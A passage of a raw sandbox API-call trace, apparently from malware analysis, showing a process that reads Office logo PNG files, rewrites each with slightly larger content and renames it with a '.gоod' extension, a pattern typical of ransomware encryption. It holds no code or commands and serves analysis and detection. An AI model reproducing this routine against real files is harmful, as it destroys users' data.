(dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0194.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.contrast-black_scale-180.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0194.991] GetFileType (hFile=0x824) returned 0x1 [0194.991] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0194.991] GetFileType (hFile=0x824) returned 0x1 [0194.991] WriteFile (in: hFile=0x824, lpBuffer=0x367ea28*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x367ea28*, lpNumberOfBytesWritten=0x1fcee148*=0xe20, lpOverlapped=0x0) returned 1 [0194.992] CloseHandle (hObject=0x824) returned 1 [0194.992] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-black_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-black_scale-180.png", lpFilePart=0x0) returned 0x61 [0194.992] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-black_scale-180.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-black_scale-180.png.gоod", lpFilePart=0x0) returned 0x66 [0194.992] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0194.992] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.contrast-black_scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x198d5bc7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198d5bc7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x706f5e2a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xe20)) returned 1 [0194.992] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0194.992] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.contrast-black_scale-180.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-black_scale-180.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.contrast-black_scale-180.png.gоod")) returned 1 [0194.993] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-black_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-black_scale-80.png", lpFilePart=0x0) returned 0x60 [0194.993] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0194.993] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-black_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.contrast-black_scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x367fd60 | out: lpFileInformation=0x367fd60*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198d5bc7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198d5bc7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198d5bc7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7b3)) returned 1 [0194.993] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0194.993] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-black_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-black_scale-80.png", lpFilePart=0x0) returned 0x60 [0194.993] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0194.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-black_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.contrast-black_scale-80.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0194.993] GetFileType (hFile=0x824) returned 0x1 [0194.993] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0194.993] GetFileType (hFile=0x824) returned 0x1 [0194.993] GetFileSize (in: hFile=0x824, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x7b3 [0194.994] ReadFile (in: hFile=0x824, lpBuffer=0x3680890, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x3680890*, lpNumberOfBytesRead=0x1fcee238*=0x7b3, lpOverlapped=0x0) returned 1 [0194.995] CloseHandle (hObject=0x824) returned 1 [0195.007] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-black_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-black_scale-80.png", lpFilePart=0x0) returned 0x60 [0195.007] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0195.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-black_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.contrast-black_scale-80.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0195.008] GetFileType (hFile=0x824) returned 0x1 [0195.008] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0195.009] GetFileType (hFile=0x824) returned 0x1 [0195.009] WriteFile (in: hFile=0x824, lpBuffer=0x36fb508*, nNumberOfBytesToWrite=0x7c0, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x36fb508*, lpNumberOfBytesWritten=0x1fcee148*=0x7c0, lpOverlapped=0x0) returned 1 [0195.009] CloseHandle (hObject=0x824) returned 1 [0195.009] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-black_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-black_scale-80.png", lpFilePart=0x0) returned 0x60 [0195.010] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-black_scale-80.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-black_scale-80.png.gоod", lpFilePart=0x0) returned 0x65 [0195.010] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0195.010] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-black_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.contrast-black_scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x198d5bc7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198d5bc7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7071be2d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x7c0)) returned 1 [0195.010] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0195.010] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-black_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.contrast-black_scale-80.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-black_scale-80.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.contrast-black_scale-80.png.gоod")) returned 1 [0195.011] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-white_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-white_scale-100.png", lpFilePart=0x0) returned 0x61 [0195.011] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0195.011] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-white_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.contrast-white_scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x36fc840 | out: lpFileInformation=0x36fc840*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198afa29, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198afa29, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198afa29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8d9)) returned 1 [0195.011] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0195.011] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-white_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-white_scale-100.png", lpFilePart=0x0) returned 0x61 [0195.011] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0195.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-white_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.contrast-white_scale-100.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0195.011] GetFileType (hFile=0x824) returned 0x1 [0195.011] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0195.108] GetFileType (hFile=0x824) returned 0x1 [0196.121] GetFileSize (in: hFile=0x824, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x8d9 [0196.121] ReadFile (in: hFile=0x824, lpBuffer=0x35a8cf0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x35a8cf0*, lpNumberOfBytesRead=0x1fcee238*=0x8d9, lpOverlapped=0x0) returned 1 [0196.122] CloseHandle (hObject=0x824) returned 1 [0196.149] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-white_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-white_scale-100.png", lpFilePart=0x0) returned 0x61 [0196.149] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0196.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-white_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.contrast-white_scale-100.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0196.150] GetFileType (hFile=0x824) returned 0x1 [0196.150] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0196.150] GetFileType (hFile=0x824) returned 0x1 [0196.150] WriteFile (in: hFile=0x824, lpBuffer=0x36240a8*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x36240a8*, lpNumberOfBytesWritten=0x1fcee148*=0x8e0, lpOverlapped=0x0) returned 1 [0196.151] CloseHandle (hObject=0x824) returned 1 [0196.151] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-white_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-white_scale-100.png", lpFilePart=0x0) returned 0x61 [0196.151] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-white_scale-100.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-white_scale-100.png.gоod", lpFilePart=0x0) returned 0x66 [0196.151] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0196.151] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-white_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.contrast-white_scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x198afa29, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198afa29, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x711fcbd6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x8e0)) returned 1 [0196.151] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0196.151] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-white_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.contrast-white_scale-100.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-white_scale-100.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.contrast-white_scale-100.png.gоod")) returned 1 [0196.152] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-white_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-white_scale-140.png", lpFilePart=0x0) returned 0x61 [0196.152] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0196.152] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-white_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.contrast-white_scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x36253e0 | out: lpFileInformation=0x36253e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19889710, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19889710, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198afa29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbd8)) returned 1 [0196.152] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0196.152] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-white_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-white_scale-140.png", lpFilePart=0x0) returned 0x61 [0196.152] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0196.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-white_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.contrast-white_scale-140.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0196.152] GetFileType (hFile=0x824) returned 0x1 [0196.152] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0196.152] GetFileType (hFile=0x824) returned 0x1 [0196.152] GetFileSize (in: hFile=0x824, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0xbd8 [0196.152] ReadFile (in: hFile=0x824, lpBuffer=0x3626330, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x3626330*, lpNumberOfBytesRead=0x1fcee238*=0xbd8, lpOverlapped=0x0) returned 1 [0196.652] CloseHandle (hObject=0x824) returned 1 [0196.665] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-white_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-white_scale-140.png", lpFilePart=0x0) returned 0x61 [0196.665] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0196.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-white_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.contrast-white_scale-140.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0196.666] GetFileType (hFile=0x824) returned 0x1 [0196.666] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0196.666] GetFileType (hFile=0x824) returned 0x1 [0196.666] WriteFile (in: hFile=0x824, lpBuffer=0x36d4328*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x36d4328*, lpNumberOfBytesWritten=0x1fcee148*=0xbe0, lpOverlapped=0x0) returned 1 [0196.667] CloseHandle (hObject=0x824) returned 1 [0196.667] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-white_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-white_scale-140.png", lpFilePart=0x0) returned 0x61 [0196.667] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-white_scale-140.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-white_scale-140.png.gоod", lpFilePart=0x0) returned 0x66 [0196.667] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0196.667] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-white_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.contrast-white_scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19889710, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19889710, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x716e7a99, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xbe0)) returned 1 [0196.667] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0196.667] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-white_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.contrast-white_scale-140.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-white_scale-140.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.contrast-white_scale-140.png.gоod")) returned 1 [0196.668] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-white_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-white_scale-180.png", lpFilePart=0x0) returned 0x61 [0196.668] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0196.668] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.contrast-white_scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x36d5660 | out: lpFileInformation=0x36d5660*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe43)) returned 1 [0196.668] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0196.668] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-white_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-white_scale-180.png", lpFilePart=0x0) returned 0x61 [0196.668] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0196.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.contrast-white_scale-180.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0196.669] GetFileType (hFile=0x824) returned 0x1 [0196.669] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0196.669] GetFileType (hFile=0x824) returned 0x1 [0196.669] GetFileSize (in: hFile=0x824, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0xe43 [0196.669] ReadFile (in: hFile=0x824, lpBuffer=0x36d6820, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x36d6820*, lpNumberOfBytesRead=0x1fcee238*=0xe43, lpOverlapped=0x0) returned 1 [0196.670] CloseHandle (hObject=0x824) returned 1 [0196.681] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-white_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-white_scale-180.png", lpFilePart=0x0) returned 0x61 [0196.681] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0196.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.contrast-white_scale-180.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0196.682] GetFileType (hFile=0x824) returned 0x1 [0196.682] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0196.683] GetFileType (hFile=0x824) returned 0x1 [0196.683] WriteFile (in: hFile=0x824, lpBuffer=0x37534b0*, nNumberOfBytesToWrite=0xe50, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x37534b0*, lpNumberOfBytesWritten=0x1fcee148*=0xe50, lpOverlapped=0x0) returned 1 [0196.683] CloseHandle (hObject=0x824) returned 1 [0196.684] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-white_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-white_scale-180.png", lpFilePart=0x0) returned 0x61 [0196.684] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-white_scale-180.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-white_scale-180.png.gоod", lpFilePart=0x0) returned 0x66 [0196.684] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0196.684] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.contrast-white_scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x71733ebd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, 